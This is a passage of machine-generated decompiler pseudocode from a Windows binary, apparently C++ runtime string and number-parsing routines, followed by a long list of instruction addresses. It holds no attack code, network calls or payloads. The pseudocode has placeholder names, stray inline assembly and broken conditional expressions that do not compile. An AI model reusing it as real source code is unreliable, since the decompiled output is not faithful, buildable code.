																				goto L339;
																			} else {
																			}
																		}
																	}
																}
															}
														} else {
															_t713 =  *((intOrPtr*)(_t750 + 0x20));
															_t581 = _t713 >> 1;
															_t522 = _t621;
															_t443 = _t348 * 0xaaaaaaab >> 0x20;
															_t348 = _t348 * 0xaaaaaaab;
															_t673 = 0xaaaaaaab >> 1;
															__eflags = _t581 - 0xaaaaaaab;
															_t744 = _t621;
															if(_t581 <= 0xaaaaaaab) {
																goto L330;
															} else {
																_t694 = 0xfffffffe - _t581;
																__eflags = _t713 - 0xfffffffe;
																if(__eflags > 0) {
																	L352:
																	L00430C30(_t419, _t443, _t452, _t466, __eflags, _t522, _t581, _t621, _t673, _t694, _t713, _t738, _t739, _t758);
																	while(1) {
																		L353:
																		asm("ud2");
																		E0044B530(_t443, __eflags, _t522, _t522, _t673, 0x44eb1b);
																		_t628 = _t764 + 1;
																		__eflags = _t628;
																		if(__eflags == 0) {
																			break;
																		}
																		__eflags = _t628;
																		if(__eflags < 0) {
																			L00430C30(_t419, _t443, _t452, _t466, __eflags, _t522, _t581, _t628, _t673, _t694, _t713, _t738, _t739, _t758);
																			continue;
																		} else {
																			_t629 = _t628 + _t628;
																			__eflags = _t629 - 0x1000;
																			if(_t629 < 0x1000) {
																				E0040F1B0(_t419, _t443, _t452, _t466, _t522, _t581, _t629, _t694, 0x44eb1b, _t738, _t739, _t758);
																				_t694 = _t522;
																			} else {
																				__eflags = _t629 - 0xffffffd9;
																				if(__eflags >= 0) {
																					L00430C30(_t419, _t443, _t452, _t466, __eflags, _t522, _t581, _t629, _t673, _t694, _t713, _t738, _t739, _t758);
																					continue;
																				} else {
																					E0040F1B0(_t419, _t443, _t452, _t466, _t522, _t581, _t629 + 0x27, _t694, 0x44eb1b, _t738, _t739, _t758);
																					_t694 = _t522 + 0x00000027 & 0xffffffe0;
																					 *(_t694 - 8) = _t522;
																				}
																			}
																		}
																		L360:
																		_t348 = E0044B5C0(_t427, _t443, __eflags, _t522, _t673, 0x44eb1b, _t738);
																		_t744 = _t764;
																		__eflags = _t758;
																		if(_t758 != 0) {
																			L339:
																			_t673 = _t750 + 8;
																			__eflags =  *((long long*)(_t750 + 0x20)) - 8;
																			if( *((long long*)(_t750 + 0x20)) >= 8) {
																				_t673 =  *_t673;
																			}
																			_t348 = E00437830(_t348, _t694, _t673, _t758);
																		} else {
																		}
																		goto L342;
																	}
																	goto L360;
																} else {
																	_t581 = _t581 + _t713;
																	__eflags = _t581;
																	_t744 = _t581;
																	goto L330;
																}
															}
														}
														L342:
														_t523 =  *((intOrPtr*)(_t750 + 0x20));
														__eflags = _t523 - 8;
														if(_t523 >= 8) {
															_t625 =  *(_t750 + 8);
															__eflags = _t523 + _t523 + 2 - 0x1000;
															if(_t523 + _t523 + 2 >= 0x1000) {
																_t625 =  *((intOrPtr*)(_t625 - 8));
															}
															_t348 = E00402090(_t348, _t625);
														}
														_t524 = _t750 + 8;
														asm("dec ax");
														asm("pslldq xmm0, 0x8");
														asm("repe inc ecx");
														 *(_t750 + 8) = 0;
														 *(_t750 + 8) = _t694;
													} else {
														_t520 =  *((intOrPtr*)(_t690 + 0x20));
														__eflags = _t520 - _t713;
														if(_t520 >= _t713) {
															__eflags = _t713 - 7;
															if(_t713 > 7) {
																L320:
																__eflags = _t713;
																if(_t713 == 0) {
																	_t632 = _t690 + 8;
																	__eflags = _t520 - 8;
																	if(_t520 >= 8) {
																		_t632 =  *_t632;
																	}
																	 *(_t690 + 0x18) = 0;
																	 *_t632 = 0;
																}
															} else {
																__eflags = r8b;
																if(r8b == 0) {
																	goto L320;
																} else {
																	_t581 =  *(_t690 + 0x18);
																	__eflags = _t581 - _t713;
																	goto L313;
																}
															}
														} else {
															L326();
														}
														L324:
														__eflags = _t713;
														_t300 = _t713 != 0;
														__eflags = _t300;
														return _t346 & 0xffffff00 | _t300;
													}
												}
											} else {
												_t716 = _t712 + 1;
												r8d = 0;
												_t673 = _t716;
												_t356 = E00404270(_t341, _t719 + 8, _t673);
												__eflags = _t356;
												if(_t356 != 0) {
													__eflags =  *((long long*)(_t719 + 0x28)) - 0xf;
													_t640 =  <=  ? _t741 :  *((intOrPtr*)(_t719 + 0x10));
													 *((char*)(( <=  ? _t741 :  *((intOrPtr*)(_t719 + 0x10))) +  *(_t719 + 0x20))) = 0;
													__eflags =  *((long long*)(_t719 + 0x28)) - 0xf;
													_t535 =  <=  ? _t741 :  *((intOrPtr*)(_t719 + 0x10));
													 *(_t719 + 0x20) = _t716;
													 *((char*)(( <=  ? _t741 :  *((intOrPtr*)(_t719 + 0x10))) + _t716)) = 0;
												}
												_t762 = _t762 + 1;
												__eflags = _t762;
												goto L223;
											}
										}
									}
								}
							} else {
								 *_t709 =  *((intOrPtr*)(_t612 + "0123456789ABCDEFabcdef-+Xx"));
								_t612 = _t690 - 0x1f;
								_t431 = (_t427 & 0xffffff00 | _t690 - 0x0000001f < 0x00000000) & (_t443 & 0xffffff00 | _t612 != 0x00000000 | _t419 & 0x00000001);
								__eflags = _t431;
								 *(_t719 + 0x50) = 1;
								_t369 = 1;
								if(_t431 == 0) {
									_t369 = _t419;
								}
								_t427 = _t431 & 0x000000ff;
								_t690 = _t690 + _t612;
								__eflags =  *((long long*)(_t719 + 0x28)) - 0xf;
								_t642 =  <=  ? _t741 :  *((intOrPtr*)(_t719 + 0x10));
								_t446 =  *(_t642 + _t762);
								__eflags = _t446 - 0x7f;
								if(_t446 != 0x7f) {
									_t447 = _t446 + 1;
									__eflags = _t447;
									 *(_t642 + _t762) = _t447;
								}
								_t419 = _t369;
								L223:
								_t637 =  *_t754;
								__eflags = _t637;
								if(_t637 == 0) {
									L209:
									 *_t754 = 0;
									 *((char*)(_t754 + 8)) = 1;
								} else {
									_t747 = _t581;
									_t588 = _t690;
									_t531 =  *((intOrPtr*)(_t637 + 0x38));
									_t673 =  *_t531;
									__eflags = _t673;
									if(_t673 == 0) {
										L227:
										_t362 =  *((intOrPtr*)( *_t637 + 0x40))();
										_t690 = _t588;
										_t581 = _t747;
									} else {
										_t700 =  *((intOrPtr*)(_t637 + 0x50));
										_t457 =  *_t700;
										__eflags = _t457;
										if(_t457 <= 0) {
											goto L227;
										} else {
											 *_t700 = _t457 - 1;
											 *_t531 = _t673 + 2;
											_t362 =  *_t673 & 0x0000ffff;
											_t690 = _t588;
											_t581 = _t747;
										}
									}
									__eflags = (_t362 & 0x0000ffff) - 0xffff;
									if((_t362 & 0x0000ffff) == 0xffff) {
										goto L209;
									} else {
										__eflags = 0;
										 *((char*)(_t754 + 8)) = 0;
										while(1) {
											_t603 =  *_t754;
											__eflags = _t603;
											r13d = 0;
											if(_t603 == 0) {
												goto L236;
											}
											goto L231;
										}
									}
								}
								continue;
							}
						}
						goto L364;
					}
				} else {
					_t589 = _t718 - 0x28;
					r8d = 0;
					if(E00404270(0xf, _t718 - 0x30, _t687) != 0) {
						_t669 =  <=  ? _t589 :  *((intOrPtr*)(_t718 - 0x28));
						if(_t687 != 1) {
							__eflags = 0;
							_t405 = E00437530(_t427, 0, _t450, _t503, _t669, _t687);
						} else {
							 *_t669 = 0;
						}
						_t503 =  <=  ? _t589 :  *((intOrPtr*)(_t718 - 0x28));
						 *((long long*)(_t718 - 0x18)) = _t687;
						 *((char*)(_t503 + _t687)) = 0;
					}
					if(_t687 == 0) {
						 *_t718 = 0xfffffffe;
					} else {
						 *_t718 = 0xfffffffe;
						r14d = 1;
						 *(_t718 - 8) = _t762;
						do {
							_t718[1] = r14d;
							if(_t753 >= 0x7f) {
								_t718[1] = 0x7f;
							}
							r12d = 0;
							r13d = 0;
							 *(_t718 - 0x38) = _t503;
							do {
								_t405 = _t706[_t747] & 0x0000ffff;
								if(_t405 != 0) {
									_t435 =  *_t706 & 0x0000ffff;
									while(_t405 != _t435) {
										_t405 =  *(_t706 + 2 + _t747 * 2) & 0x0000ffff;
										_t747 = _t747 + 1;
										if(_t405 != 0) {
											continue;
										}
										goto L18;
									}
								}
								L18:
								_t566 =  <=  ? _t589 :  *((intOrPtr*)(_t718 - 0x28));
								_t660 =  *((char*)(_t566 + _t740));
								if(_t660 == 0) {
									_t747 = _t747 + _t753;
									_t433 = _t706[_t747] & 0x0000ffff;
									__eflags = _t433;
									if(_t433 == 0) {
										L26:
										 *((char*)(_t566 + _t740)) = _t718[1];
										_t405 = r12d;
										 *_t718 = r12d;
									} else {
										__eflags = _t433 -  *_t706;
										if(_t433 ==  *_t706) {
											goto L26;
										} else {
											_t665 =  *_t762;
											_t421 = 0;
											__eflags = _t665;
											r15d = 0;
											if(_t665 != 0) {
												_t577 =  *((intOrPtr*)( *((intOrPtr*)(_t665 + 0x38))));
												__eflags = _t577;
												if(_t577 == 0) {
													L27:
													_t417 =  *((intOrPtr*)( *_t665 + 0x38))();
												} else {
													__eflags =  *( *(_t665 + 0x50));
													if( *( *(_t665 + 0x50)) <= 0) {
														goto L27;
													} else {
														_t417 =  *_t577 & 0x0000ffff;
													}
												}
												_t405 = _t417 & 0x0000ffff;
												r15d = 0;
												__eflags = (_t417 & 0x0000ffff) - 0xffff;
												r15b = (_t417 & 0x0000ffff) != 0xffff;
												__eflags = r15b;
											}
											_t571 =  *((intOrPtr*)(_t718 - 0x40));
											_t666 =  *_t571;
											__eflags = _t666;
											if(_t666 != 0) {
												_t571 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0x38))));
												__eflags = _t571;
												if(_t571 == 0) {
													L33:
													_t571 =  *_t666;
													_t416 =  *((intOrPtr*)(_t571 + 0x38))();
												} else {
													__eflags =  *( *(_t666 + 0x50));
													if( *( *(_t666 + 0x50)) <= 0) {
														goto L33;
													} else {
														_t416 =  *_t571 & 0x0000ffff;
													}
												}
												_t405 = _t416 & 0x0000ffff;
												__eflags = (_t416 & 0x0000ffff) - 0xffff;
												_t39 = (_t416 & 0x0000ffff) != 0xffff;
												__eflags = _t39;
												_t421 = 0 | _t39;
											}
											__eflags = r15d - _t421;
											if(r15d == _t421) {
												L48:
												__eflags =  *((long long*)(_t718 - 0x10)) - 0xf;
												_t589 = _t718 - 0x28;
												_t573 =  <=  ? _t589 :  *((intOrPtr*)(_t718 - 0x28));
												 *((char*)(( <=  ? _t589 :  *((intOrPtr*)(_t718 - 0x28))) + _t740)) = _t718[1];
												_t762 =  *(_t718 - 8);
												asm("o16 nop [eax+eax]");
											} else {
												r15d = E00441F40(_t706[_t747] & 0x0000ffff);
												_t591 =  *(_t718 - 8);
												__eflags =  *((char*)(_t591 + 8));
												if( *((char*)(_t591 + 8)) == 0) {
													_t667 =  *_t591;
													__eflags = _t667;
													if(_t667 == 0) {
														L44:
														 *_t591 = 0;
													} else {
														_t571 =  *((intOrPtr*)( *((intOrPtr*)(_t667 + 0x38))));
														__eflags = _t571;
														if(_t571 == 0) {
															L41:
															_t571 =  *_t667;
															_t415 =  *((intOrPtr*)(_t571 + 0x38))();
															_t591 =  *(_t718 - 8);
														} else {
															__eflags =  *( *(_t667 + 0x50));
															if( *( *(_t667 + 0x50)) <= 0) {
																goto L41;
															} else {
																_t415 =  *_t571 & 0x0000ffff;
															}
														}
														__eflags = (_t415 & 0x0000ffff) - 0xffff;
														if((_t415 & 0x0000ffff) == 0xffff) {
															goto L44;
														} else {
															 *(_t591 + 0xa) = _t415;
														}
													}
													 *((char*)(_t591 + 8)) = 1;
												}
												_t405 = E00441F40( *(_t591 + 0xa) & 0x0000ffff);
												__eflags = r15d - _t405;
												if(r15d != _t405) {
													goto L48;
												} else {
													_t405 = 1;
													 *(_t718 - 0x38) = _t571;
													_t762 =  *(_t718 - 8);
													_t589 = _t718 - 0x28;
												}
											}
										}
									}
								} else {
									_t747 = _t747 + _t660;
								}
								_t740 = _t740 + 1;
							} while (_t740 < _t687);
							if(( *(_t718 - 0x38) & 0x00000001) != 0) {
								_t661 =  *_t762;
								r15d = 0;
								_t420 = 0;
								if(_t661 != 0) {
									_t569 =  *((intOrPtr*)( *((intOrPtr*)(_t661 + 0x38))));
									if(_t569 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t661 + 0x50)))) <= 0) {
										_t413 =  *((intOrPtr*)( *_t661 + 0x38))();
									} else {
										_t413 =  *_t569 & 0x0000ffff;
									}
									_t405 = _t413 & 0x0000ffff;
									_t420 = 0 | (_t413 & 0x0000ffff) != 0x0000ffff;
								}
								_t503 =  *((intOrPtr*)(_t718 - 0x40));
								_t662 =  *_t503;
								if(_t662 != 0) {
									_t503 =  *((intOrPtr*)( *((intOrPtr*)(_t662 + 0x38))));
									if(_t503 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t662 + 0x50)))) <= 0) {
										_t503 =  *_t662;
										_t412 = _t503[0x1c]();
									} else {
										_t412 =  *_t503 & 0x0000ffff;
									}
									_t405 = _t412 & 0x0000ffff;
									r15d = 0;
									r15b = (_t412 & 0x0000ffff) != 0xffff;
								}
								_t762 =  *(_t718 - 8);
								_t589 = _t718 - 0x28;
								if(_t420 != r15d) {
									_t663 =  *_t762;
									if(_t663 == 0) {
										L71:
										 *_t762 = 0;
										_t405 = 1;
									} else {
										_t503 =  *((intOrPtr*)(_t663 + 0x38));
										_t680 =  *_t503;
										if(_t680 == 0) {
											L68:
											_t503 =  *_t663;
											_t410 = _t503[0x20]();
										} else {
											_t735 =  *((intOrPtr*)(_t663 + 0x50));
											_t423 =  *_t735;
											if(_t423 <= 0) {
												goto L68;
											} else {
												 *_t735 = _t423 - 1;
												 *_t503 =  &(_t680[1]);
												_t410 =  *_t680 & 0x0000ffff;
											}
										}
										_t589 = _t718 - 0x28;
										if((_t410 & 0x0000ffff) == 0xffff) {
											goto L71;
										} else {
											_t405 = 0;
										}
									}
									goto L72;
								}
							}
							goto L75;
							L72:
							_t753 = _t753 + 1;
							 *(_t762 + 8) = _t405;
							 *_t718 = 0xffffffff;
						} while (_t687 != 0);
					}
					L75:
					_t563 =  *((intOrPtr*)(_t718 - 0x10));
					if(_t563 >= 0x10) {
						_t659 =  *((intOrPtr*)(_t718 - 0x28));
						if(_t563 + 1 >= 0x1000) {
							_t659 =  *((intOrPtr*)(_t659 - 8));
						}
						E00402090(_t405, _t659);
					}
					return  *_t718;
				}
				L364:
			}

0x004161a0
0x004161a0
0x004161a0
0x004161a0
0x004161a3
0x004161a5
0x004161a7
0x004161ab
0x004161ac
0x004161b0
0x004161b5
0x004161b8
0x004161bb
0x004161bf
0x004161c2
0x004161c8
0x004161ca
0x004161ca
0x004161ce
0x004161d0
0x004161d5
0x004161d8
0x004161db
0x004161de
0x004161e2
0x004161d0
0x004161ec
0x004161f1
0x004161f6
0x004161fb
0x00416203
0x00416586
0x0041658b
0x00416591
0x00416594
0x00416598
0x0041659c
0x0041659e
0x004165a2
0x004165a5
0x004165ab
0x004165ad
0x004165ad
0x004165b1
0x004165b1
0x004165b9
0x004165be
0x004165c2
0x004165c5
0x004165c7
0x004165c7
0x004165c7
0x004165dc
0x004165e3
0x004165eb
0x004165ef
0x004165f2
0x004165f5
0x004165ff
0x00416604
0x00416607
0x00416611
0x00416614
0x00416619
0x00416629
0x0041661b
0x0041661b
0x00416624
0x00416624
0x00416633
0x0041663b
0x00416649
0x00416650
0x00416653
0x00416656
0x00416658
0x0041665b
0x00416660
0x00416666
0x00416669
0x0041666c
0x0041667c
0x0041667f
0x0041666e
0x0041666e
0x00416672
0x00416675
0x00000000
0x00416677
0x00416677
0x00416677
0x00416675
0x00416685
0x00416687
0x0041668c
0x0041668c
0x0041668c
0x00416694
0x00416697
0x0041669a
0x004166a0
0x004166a3
0x004166a6
0x004166b6
0x004166b9
0x004166a8
0x004166a8
0x004166ac
0x004166af
0x00000000
0x004166b1
0x004166b1
0x004166b1
0x004166af
0x004166bf
0x004166c1
0x004166c6
0x004166c6
0x004166c6
0x004166ca
0x004166cc
0x004166d6
0x004166db
0x004166dd
0x004166e0
0x004166e3
0x00416717
0x00416717
0x004166e5
0x004166e9
0x004166ec
0x004166ef
0x004166ff
0x00416702
0x004166f1
0x004166f1
0x004166f5
0x004166f8
0x00000000
0x004166fa
0x004166fa
0x004166fa
0x004166f8
0x00416705
0x00416708
0x0041670e
0x00000000
0x00416710
0x00416710
0x00416710
0x0041670e
0x0041671e
0x0041671e
0x00416723
0x00416728
0x0041672c
0x00416757
0x0041675b
0x00000000
0x00416761
0x00416761
0x00416764
0x00416767
0x0041676a
0x00000000
0x0041676c
0x0041676c
0x00416770
0x00416773
0x00416776
0x00416792
0x00416795
0x00416778
0x00416778
0x0041677c
0x0041677e
0x00416780
0x00000000
0x00000000
0x00000000
0x00000000
0x00416780
0x00000000
0x00416776
0x00000000
0x0041676a
0x0041672e
0x0041672e
0x00416731
0x00416734
0x00416737
0x004167a6
0x004167a6
0x004167ad
0x00416739
0x00416739
0x0041673d
0x00416740
0x00416743
0x0041674f
0x00416752
0x00416745
0x00416745
0x00416749
0x0041674b
0x0041674d
0x00416782
0x00416784
0x0041678a
0x0041678d
0x00000000
0x00000000
0x00000000
0x0041674d
0x00416798
0x0041679b
0x004167a0
0x00000000
0x004167a2
0x004167a2
0x004167a2
0x004167a0
0x004167af
0x004167af
0x004167b3
0x004167b3
0x004166ce
0x004166ce
0x004166ce
0x004166ce
0x004167bf
0x004167c2
0x004167c4
0x004167d2
0x004167c6
0x004167c6
0x004167c8
0x004167da
0x004167dc
0x004167e2
0x004167ca
0x004167ca
0x004167ca
0x004167c8
0x004167e6
0x004167e9
0x004167eb
0x004167ee
0x004167f3
0x004167f9
0x004167fc
0x004167ff
0x0041680f
0x00416812
0x00416801
0x00416801
0x00416805
0x00416808
0x00000000
0x0041680a
0x0041680a
0x0041680a
0x00416808
0x00416818
0x0041681a
0x0041681f
0x0041681f
0x0041681f
0x00416823
0x00416827
0x0041682a
0x0041682d
0x00416833
0x00416836
0x00416839
0x00416849
0x00416849
0x0041684c
0x0041683b
0x0041683b
0x0041683f
0x00416842
0x00000000
0x00416844
0x00416844
0x00416844
0x00416842
0x00416852
0x00416854
0x00416859
0x00416859
0x00416859
0x0041685d
0x0041685f
0x00416863
0x00416874
0x00416879
0x0041687b
0x0041687e
0x00416881
0x004168b5
0x004168b5
0x00416883
0x00416887
0x0041688a
0x0041688d
0x0041689d
0x0041689d
0x004168a0
0x0041688f
0x0041688f
0x00416893
0x00416896
0x00000000
0x00416898
0x00416898
0x00416898
0x00416896
0x004168a3
0x004168a6
0x004168ac
0x00000000
0x004168ae
0x004168ae
0x004168ae
0x004168ac
0x004168bc
0x004168bc
0x004168c6
0x004168ca
0x004168cd
0x004168fd
0x00000000
0x004168cf
0x004168cf
0x004168d2
0x004168d5
0x00416943
0x00416943
0x0041694a
0x00000000
0x004168d7
0x004168d7
0x004168db
0x004168de
0x004168e1
0x00416909
0x0041690c
0x004168e3
0x004168e3
0x004168e7
0x004168e9
0x004168eb
0x00000000
0x004168ed
0x004168ef
0x004168f5
0x004168f8
0x004168f8
0x004168eb
0x00416912
0x00416917
0x0041691a
0x00000000
0x0041691c
0x0041691c
0x0041691f
0x00416924
0x00416927
0x0041694f
0x0041694f
0x00416929
0x0041692d
0x00416930
0x00416933
0x00416953
0x00416956
0x00416959
0x00416935
0x00416935
0x00416939
0x0041693c
0x00000000
0x0041693e
0x0041693e
0x0041693e
0x0041693c
0x0041695f
0x00416961
0x00416966
0x00416966
0x00416966
0x00416927
0x0041691a
0x0041696a
0x0041696e
0x00416971
0x00416974
0x004169da
0x004169dc
0x00000000
0x004169de
0x00000000
0x004169de
0x00416976
0x0041697a
0x0041697d
0x00416980
0x00416990
0x00416990
0x00416993
0x00416996
0x00416982
0x00416982
0x00416986
0x00416989
0x00000000
0x0041698b
0x0041698b
0x0041698b
0x00416989
0x00416999
0x004169a7
0x004169a9
0x00416a70
0x00416a70
0x00416a78
0x00416a7e
0x00000000
0x004169af
0x004169af
0x004169af
0x004169b4
0x004169b6
0x004169b9
0x004169bc
0x004169fe
0x004169fe
0x004169be
0x004169c2
0x004169c5
0x004169c8
0x004169e3
0x004169e3
0x004169e6
0x004169e9
0x004169ca
0x004169ca
0x004169ce
0x004169d1
0x00000000
0x004169d3
0x004169d3
0x004169d3
0x004169d1
0x004169ec
0x004169ef
0x004169f5
0x00000000
0x004169f7
0x004169f7
0x004169f7
0x004169f5
0x00416a05
0x00416a05
0x00416a0a
0x00416a0f
0x00416a13
0x00416a25
0x00416a28
0x00416a2b
0x00000000
0x00416a2d
0x00416a2d
0x00416a31
0x00000000
0x00000000
0x00000000
0x00000000
0x00416a31
0x00416a15
0x00416a1b
0x00416a1e
0x00416a33
0x00416a33
0x00416a36
0x00416a39
0x00416ef4
0x00416ef4
0x00416efb
0x00416a3f
0x00416a3f
0x00416a43
0x00416a46
0x00416a49
0x00416edd
0x00416edd
0x00416ee0
0x00416a4f
0x00416a4f
0x00416a53
0x00416a55
0x00416a57
0x00000000
0x00416a5d
0x00416a5f
0x00416a65
0x00416a68
0x00416a68
0x00416a57
0x00416ee6
0x00416eeb
0x00416eee
0x00000000
0x00416ef0
0x00416ef0
0x00416ef0
0x00416eee
0x00416efd
0x00416f01
0x00416f0d
0x00416f11
0x00416a20
0x00000000
0x00416a20
0x00416a1e
0x00416a13
0x004169a9
0x00416974
0x00416865
0x00416865
0x0041686c
0x00416a81
0x00416a86
0x00416a8a
0x00416a8d
0x00416aa9
0x00416aa9
0x00416a8f
0x00416a8f
0x00416a93
0x00000000
0x00416a95
0x00416a95
0x00416a99
0x00416aaf
0x00416a9b
0x00416a9b
0x00416aa2
0x00416ab8
0x00416ab8
0x00416a93
0x00416a8d
0x00416abc
0x00416ac3
0x00416ac6
0x00416acd
0x00416ad1
0x00416ad5
0x00416ad7
0x00416c50
0x00416c50
0x00416c53
0x00416c56
0x00416c5c
0x00000000
0x00000000
0x00416c5e
0x00416c62
0x00416c65
0x00416c68
0x00416c80
0x00416c83
0x00416c6a
0x00416c6a
0x00416c6e
0x00416c71
0x00000000
0x00416c73
0x00416c73
0x00416c73
0x00416c71
0x00416c89
0x00416c8c
0x00416c91
0x00416c91
0x00416c95
0x00416c95
0x00416c99
0x00416c9c
0x00416c9f
0x00416ce0
0x00416ce0
0x00416ca1
0x00416ca5
0x00416ca8
0x00416cab
0x00416cc0
0x00416cc0
0x00416cc3
0x00416cad
0x00416cad
0x00416cb1
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cb4
0x00416cc6
0x00416ccb
0x00416cd1
0x00416cd1
0x00416ce6
0x00416cea
0x00416ced
0x00416d6b
0x00416d6b
0x00416d6e
0x00416e2a
0x00416e31
0x00416e31
0x00416e33
0x00416e36
0x00000000
0x00416d74
0x00416d74
0x00416d7d
0x00416d83
0x00416d88
0x00416d88
0x00416d8b
0x00416d8f
0x00416d91
0x00416d91
0x00416d91
0x00416d94
0x00416d98
0x00416d9b
0x00416d9b
0x00416d9f
0x00416e50
0x00416e50
0x00416e54
0x00416e57
0x00000000
0x00416e59
0x00000000
0x00416e59
0x00416da5
0x00416daa
0x00416dad
0x00000000
0x00416db3
0x00416db3
0x00416dbc
0x00416dc0
0x00416dc5
0x00416dca
0x00416dcf
0x00416dd3
0x00416de0
0x00416de0
0x00416de3
0x00416de6
0x00416de9
0x00000000
0x00000000
0x00416deb
0x00416dee
0x00416df3
0x00416e20
0x00416e22
0x00000000
0x00000000
0x00000000
0x00000000
0x00416df5
0x00416df5
0x00416df7
0x00416e24
0x00416e24
0x00416df9
0x00416df9
0x00416df9
0x00416dfd
0x00416dff
0x00416dff
0x00416dff
0x00416e02
0x00416e05
0x00416e09
0x00416e3a
0x00416e3a
0x00416e3d
0x00416e66
0x00416e66
0x00416e6e
0x00416e3f
0x00416e3f
0x00416e3f
0x00416e43
0x00000000
0x00416e45
0x00416e45
0x00416e4b
0x00416e4b
0x00416e43
0x00416e0b
0x00416e0b
0x00416e0e
0x00416e12
0x00000000
0x00416e14
0x00000000
0x00416e14
0x00416e12
0x00416e09
0x00416df7
0x00000000
0x00416df3
0x00416e5b
0x00416e61
0x00416e64
0x00000000
0x00000000
0x00000000
0x00000000
0x00416e64
0x00416dad
0x00416d9f
0x00416e72
0x00416e72
0x00416e75
0x00416e79
0x00416e7d
0x00416e7f
0x00416e86
0x00416e8c
0x00416e8e
0x00416e8e
0x00416e92
0x00416e92
0x00416e97
0x00416e9b
0x00416e9f
0x00416ea1
0x00416ea8
0x00416eae
0x00416eb0
0x00416eb0
0x00416eb4
0x00416eb4
0x00416eb9
0x00416ec1
0x00416edc
0x00416cef
0x00416cef
0x00416cf4
0x00416cf6
0x00416cf9
0x00416cfc
0x00416d30
0x00416d30
0x00416cfe
0x00416d02
0x00416d05
0x00416d08
0x00416d18
0x00416d18
0x00416d1b
0x00416d0a
0x00416d0e
0x00416d11
0x00000000
0x00416d13
0x00416d13
0x00416d13
0x00416d11
0x00416d1e
0x00416d21
0x00416d27
0x00000000
0x00416d29
0x00416d29
0x00416d29
0x00416d27
0x00416d37
0x00416d37
0x00416d3c
0x00416d41
0x00416d45
0x00416d50
0x00416d50
0x00416d54
0x00416d58
0x00416d5b
0x00000000
0x00000000
0x00416d61
0x00416d64
0x00000000
0x00000000
0x00416d66
0x00000000
0x00416d64
0x00416b00
0x00416b07
0x00416b0a
0x00416b0e
0x00416b70
0x00416b79
0x00416b7d
0x00416b82
0x00000000
0x00416b88
0x00416b88
0x00416b8d
0x00000000
0x00416b93
0x00416b93
0x00416b97
0x00000000
0x00416b9d
0x00416b9d
0x00416ba1
0x00416ba5
0x00416f24
0x00416f29
0x00416f43
0x00416f46
0x00416f4a
0x00416f4e
0x00416f50
0x00416f57
0x00416f5d
0x00416f5f
0x00416f5f
0x00416f63
0x00416f63
0x00416f68
0x00416f6c
0x00416f70
0x00416f72
0x00416f76
0x00416f79
0x00416f7f
0x00416f81
0x00416f81
0x00416f85
0x00416f85
0x00416f8a
0x00416f8d
0x00416f92
0x00416f94
0x00416ff7
0x00416ff7
0x00416ffb
0x00416fff
0x00417001
0x00417001
0x00417005
0x00417008
0x0041700b
0x00417013
0x00417018
0x00417018
0x00417021
0x00417027
0x00417029
0x00417029
0x00417030
0x00417030
0x00417035
0x0041703d
0x00417041
0x00000000
0x00416f96
0x00416f96
0x00416f99
0x00416f9b
0x00416f9b
0x00416f9b
0x00416fa0
0x00416fa1
0x00416fa3
0x00416fa4
0x00416fa5
0x00416faa
0x00416faf
0x00416fb2
0x00416fb5
0x00416fbf
0x00416fc2
0x0041707a
0x00417081
0x00417086
0x0041708e
0x00417090
0x00417091
0x00417093
0x00417095
0x00417097
0x00417099
0x0041709a
0x0041709b
0x004170a5
0x004170a8
0x004170ab
0x004170ae
0x004170bb
0x004170bf
0x004170c2
0x004170c5
0x004170fe
0x00417101
0x00417101
0x00417104
0x00417146
0x0041714d
0x00417150
0x00000000
0x00000000
0x00417152
0x00417106
0x00417106
0x00417109
0x004171ec
0x00000000
0x0041710f
0x0041710f
0x00417112
0x00417119
0x00417154
0x00417159
0x0041715c
0x0041715f
0x00000000
0x00000000
0x0041711b
0x0041711b
0x0041711f
0x00000000
0x00417125
0x00417129
0x00417135
0x00417139
0x0041713d
0x00417140
0x00000000
0x00000000
0x00417142
0x00417140
0x0041711f
0x00417119
0x00417109
0x004170c7
0x004170c7
0x004170ce
0x004170db
0x004170de
0x004170de
0x004170e1
0x004170e4
0x004170e7
0x004170ea
0x00000000
0x004170ec
0x004170ec
0x004170ef
0x004170f2
0x004171f3
0x004171f3
0x004171f8
0x004171f8
0x004171f8
0x004171fd
0x00417205
0x00417205
0x00417208
0x00000000
0x00000000
0x0041720a
0x0041720d
0x0041725d
0x00000000
0x0041720f
0x0041720f
0x00417212
0x00417219
0x0041723f
0x00417244
0x0041721b
0x0041721b
0x0041721f
0x00417264
0x00000000
0x00417221
0x00417225
0x00417231
0x00417235
0x00417235
0x0041721f
0x00417219
0x00417247
0x00417247
0x0041724c
0x0041724f
0x00417252
0x00417161
0x00417161
0x00417165
0x0041716a
0x0041716c
0x0041716c
0x00417175
0x00000000
0x00417258
0x00000000
0x00417252
0x00000000
0x004170f8
0x004170f8
0x004170f8
0x004170fb
0x00000000
0x004170fb
0x004170f2
0x004170ea
0x0041717a
0x0041717a
0x0041717e
0x00417182
0x00417184
0x0041718d
0x00417193
0x00417195
0x00417195
0x00417199
0x00417199
0x0041719e
0x004171a7
0x004171ac
0x004171b1
0x004171b7
0x004171be
0x00416fc8
0x00416fc8
0x00416fcc
0x00416fcf
0x00416fe5
0x00416fe9
0x0041704a
0x0041704a
0x0041704d
0x0041704f
0x00417053
0x00417057
0x00417059
0x00417059
0x0041705c
0x00417064
0x00417064
0x00416feb
0x00416feb
0x00416fee
0x00000000
0x00416ff0
0x00416ff0
0x00416ff4
0x00000000
0x00416ff4
0x00416fee
0x00416fd1
0x00416fdb
0x00416fdb
0x00417069
0x00417069
0x0041706c
0x0041706c
0x00417079
0x00417079
0x00416fc2
0x00416bab
0x00416bab
0x00416bae
0x00416bb5
0x00416bb8
0x00416bbd
0x00416bbf
0x00416bc5
0x00416bce
0x00416bd2
0x00416bd6
0x00416bdf
0x00416be3
0x00416be7
0x00416be7
0x00416beb
0x00416beb
0x00000000
0x00416beb
0x00416ba5
0x00416b97
0x00416b8d
0x00416b10
0x00416b1a
0x00416b28
0x00416b2f
0x00416b2f
0x00416b33
0x00416b36
0x00416b38
0x00416b3a
0x00416b3a
0x00416b3c
0x00416b3f
0x00416b42
0x00416b4b
0x00416b4f
0x00416b53
0x00416b56
0x00416b58
0x00416b58
0x00416b5a
0x00416b5a
0x00416b5e
0x00416bee
0x00416bee
0x00416bf1
0x00416bf4
0x00416ae0
0x00416ae0
0x00416ae9
0x00416bfa
0x00416bfa
0x00416bfd
0x00416c00
0x00416c04
0x00416c07
0x00416c0a
